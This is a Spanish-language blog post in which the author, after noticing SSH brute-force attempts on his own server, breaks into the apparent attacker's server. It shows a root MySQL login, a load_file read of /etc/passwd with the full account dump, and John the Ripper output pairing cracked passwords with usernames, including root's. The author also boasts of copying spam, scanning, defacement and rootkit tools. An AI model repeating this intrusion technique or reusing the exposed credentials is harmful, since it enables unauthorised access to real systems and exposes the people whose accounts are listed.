De victima a verdugo (de atacado a atacante xDD)

La semana pasada revisando las bitácoras de mi servidor encontré que desde hace al menos 2 meses (lo digo por que no guardo más de dos meses de bitácoras) están tratando de acceder a mi servidor por ssh con bruteforce. Confieso que esto me alertó un poco y por lo cual me dedique esa tarde exclusivamente a investigar el hecho.

Empecé a hacer análisis básicos de puertos con nmap, y luego sabiendo los puertos que tenia abiertos, me puse a probar algunos exploits que iban dirigidos a ellos. Con este análisis saqué la deducción de los sistemas que manejaba el servidor , como lo son un servidor web, la ubicación es en China, servicios de base de datos Oracle y algunos detalles, dentro de los cuales estaba abierto el puerto default de MySQL

Al segundo día (que tuve tiempo por el trabajo y la escuela) obtube acceso a MySQL del servidor. 

Ya en el servidor solo me bastó ejecutar algunos comandos de mysql para obtener los passwords encriptados del servidor para empezar a crackearlo.

Aquí la odisea (ya cuando obtuve acceso por MySQL):

villatux# mysql -h 58.248.3X.XXX -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 16817
Server version: 5.0.22-standard

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> pager cat
PAGER set to 'cat'
mysql> select load_file('/etc/passwd');
root:x:0:0:root:/root:/bin/bash
roo:x:0:0::/tmp:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
oracledb:x:593:594::/home/wasadmin:/bin/bash
bpcard:x:501:500:bpcard:/home/bpcard:/bin/ksh
bpposp:x:502:500:bpposp:/home/bpposp:/bin/ksh
ccbfca:x:503:501:ccbfca:/home/ccbfca:/bin/ksh
ccbcomm:x:504:501:ccbcomm:/home/ccbcomm:/bin/ksh
informix:x:505:505:informix:/home/informix:/bin/ksh
oracle:x:506:514:oracle:/home/db/oracle:/bin/ksh
svnroot:x:507:507::/home/svnroot:/bin/bash
exchange:x:508:500::/home/exchange:/bin/ksh
bonus:x:509:509::/home/bonus:/bin/ksh
topbpas:x:510:508::/home/topbpas:/bin/ksh
fcs:x:511:511::/home/fcs:/bin/ksh
wasadmin:x:515:516::/home/wasadmin:/bin/bash
weblogic:x:516:517::/home/weblogic:/bin/bash
icf:x:517:518::/home/icf:/bin/bash
comm:x:518:519::/home/comm:/bin/bash
topbpastrans:x:519:508::/home/topbpas/topbpastrans:/bin/ksh
topbpasrules:x:520:521::/home/topbpas/topbpasrules:/bin/ksh
topbpasbatch:x:521:522::/home/topbpas/topbpasbatch:/bin/ksh
zhangsan:x:523:514::/home/zhangsan:/bin/bash
bashtest:x:524:525::/home/bashtest:/bin/ksh
db2inst1:x:533:534::/home/db2inst1:/bin/ksh
db2fenc1:x:534:535::/home/db2fenc1:/bin/ksh
emall:x:535:534::/home/emall:/bin/ksh
bppospb:x:536:536::/home/bppospb:/bin/ksh
cmcenter:x:537:534::/home/cmcenter:/bin/bash
dora:x:538:538::/home/dora:/bin/bash
mysql:x:101:104:MySQL server:/var/lib/mysql:/bin/bash
intern01:x:539:540::/home/intern01:/bin/bash
intern02:x:540:541::/home/intern02:/bin/bash
intern03:x:541:542::/home/intern03:/bin/bash
intern04:x:542:543::/home/intern04:/bin/bash
intern05:x:543:544::/home/intern05:/bin/bash
intern06:x:544:545::/home/intern06:/bin/bash
intern07:x:545:546::/home/intern07:/bin/bash
intern08:x:546:547::/home/intern08:/bin/bash
intern09:x:547:548::/home/intern09:/bin/bash
intern10:x:548:549::/home/intern10:/bin/bash
intern11:x:549:550::/home/intern11:/bin/bash
intern12:x:550:551::/home/intern12:/bin/bash
intern13:x:551:552::/home/intern13:/bin/bash
intern14:x:552:553::/home/intern14:/bin/bash
intern15:x:553:554::/home/intern15:/bin/bash
intern16:x:554:555::/home/intern16:/bin/bash
intern17:x:555:556::/home/intern17:/bin/bash
intern18:x:556:557::/home/intern18:/bin/bash
intern19:x:557:558::/home/intern19:/bin/bash
intern20:x:558:559::/home/intern20:/bin/bash
intern21:x:559:560::/home/intern21:/bin/bash
posp:x:560:561::/home/posp:/bin/ksh
batch:x:561:562::/home/batch:/bin/bash
trans:x:562:562::/home/trans:/bin/bash
rules:x:563:562::/home/rules:/bin/bash
htclient:x:564:564::/home/htclient:/bin/bash
train:x:565:565::/home/train:/bin/bash
tra:x:0:565::/home/train:/bin/bash
test_informix:x:566:505::/home/test_informix:/bin/ksh
traininguser:x:567:567::/home/traininguser:/bin/bash
ncup:x:568:568::/home/ncup:/bin/bash
topbpasprd:x:569:569::/home/topbpasprd:/bin/bash
jiraroot:x:570:570::/home/jiraroot:/bin/bash
mysqluser:x:571:571::/home/mysqluser:/bin/bash
db2inst2:x:572:572::/home/db2inst2:/bin/bash
payment:x:575:575::/home/payment:/bin/bash
dispute:x:577:577::/home/dispute:/bin/bash
nacp:x:578:578::/home/nacp:/bin/bash
cmcenter2:x:579:579::/home/cmcenter2:/bin/bash
cmcente2:x:580:580::/home/cmcente2:/bin/bash
wendeson:x:582:582::/home/wendeson:/bin/bash
malldb:x:583:583::/home/malldb:/bin/bash
toppay:x:584:584::/home/toppay:/bin/bash
portal:x:0:585::/home/portal:/bin/bash
tomcat:x:585:586::/home/tomcat:/bin/bash
efront:x:586:587::/home/efront:/bin/bash
ics:x:587:588::/home/ics:/bin/bash
hsmsoft:x:588:589::/home/hsmsoft:/bin/bash
dps:x:589:590::/home/dps:/bin/bash
tasskms:x:590:591::/home/tasskms:/bin/bash
topcbbs:x:591:592::/home/topcbbs:/bin/bash
showhow:x:592:593::/home/showhow:/bin/bash
+---------------------------------------------------+
1 row in set (0.56 sec)

mysql> quit
Bye
villatux#

Luego me copie el resultado del SELECT a mi maquina local y con esto empezar a destripar xDD:

villatux#john /home/villatux/shadow 
Warning: only loading hashes of type "md5", but also saw type "des"
Use the "--format=des" option to force loading hashes of that type instead
Loaded 74 password hashes with 74 different salts (FreeBSD MD5 [32/64 X2])
Remaining 38 password hashes with 38 different salts
test_informix    (test_informix)
emall            (emall)
traininguser     (traininguser)
icf              (icf)
topbpasrules     (topbpasrules)
zhangsan         (zhangsan)
topbpasbatch     (topbpasbatch)
fcs              (fcs)
dps              (dps)
trans            (trans)
hsmsoft          (hsmsoft)
htclient         (htclient)
posp             (posp)
tasskms          (tasskms)
malldb           (malldb)
efront           (efront)
showhow          (showhow)
topbpastrans     (topbpastrans)
wendeson         (wendeson)
ncup123          (ncup)
jiraroot123      (jiraroot)
svnroot123       (svnroot)
ccbfca123        (ccbfca)
ccbcomm123       (ccbcomm)
mysqluser123     (mysqluser)
wasadmin123      (wasadmin)
ics123           (ics)
topbpras123       (topbpas)
123456           (dispute)
123456           (payment)
123456           (cmcenter)
123456           (cmcente2)
123456           (toppay)
123456           (nacp)
123456           (cmcenter2)
1qaz2wsx         (portal)
huatengscube123456789  (root)

Y tantan xDD
Con esto me copié algunos juguetes de los “Hackers” :

* Scripts para enviar spam (enviaban de los tipo xxx@domain.co.uk)
* Scripts para escaneo mundial de ips
* Scripts para mass defacing
* Software *NIX modificado (RootKit)
* y Algunas técnicas de espionaje interesantes hehe

Después de esto no ha cambiado nada, solo me aseguro de no sufrir intentos de acceso en mi servidor,  aplicando algunas medidas para ello y el servidor aqui mostrado no ha sufrido algún cambio.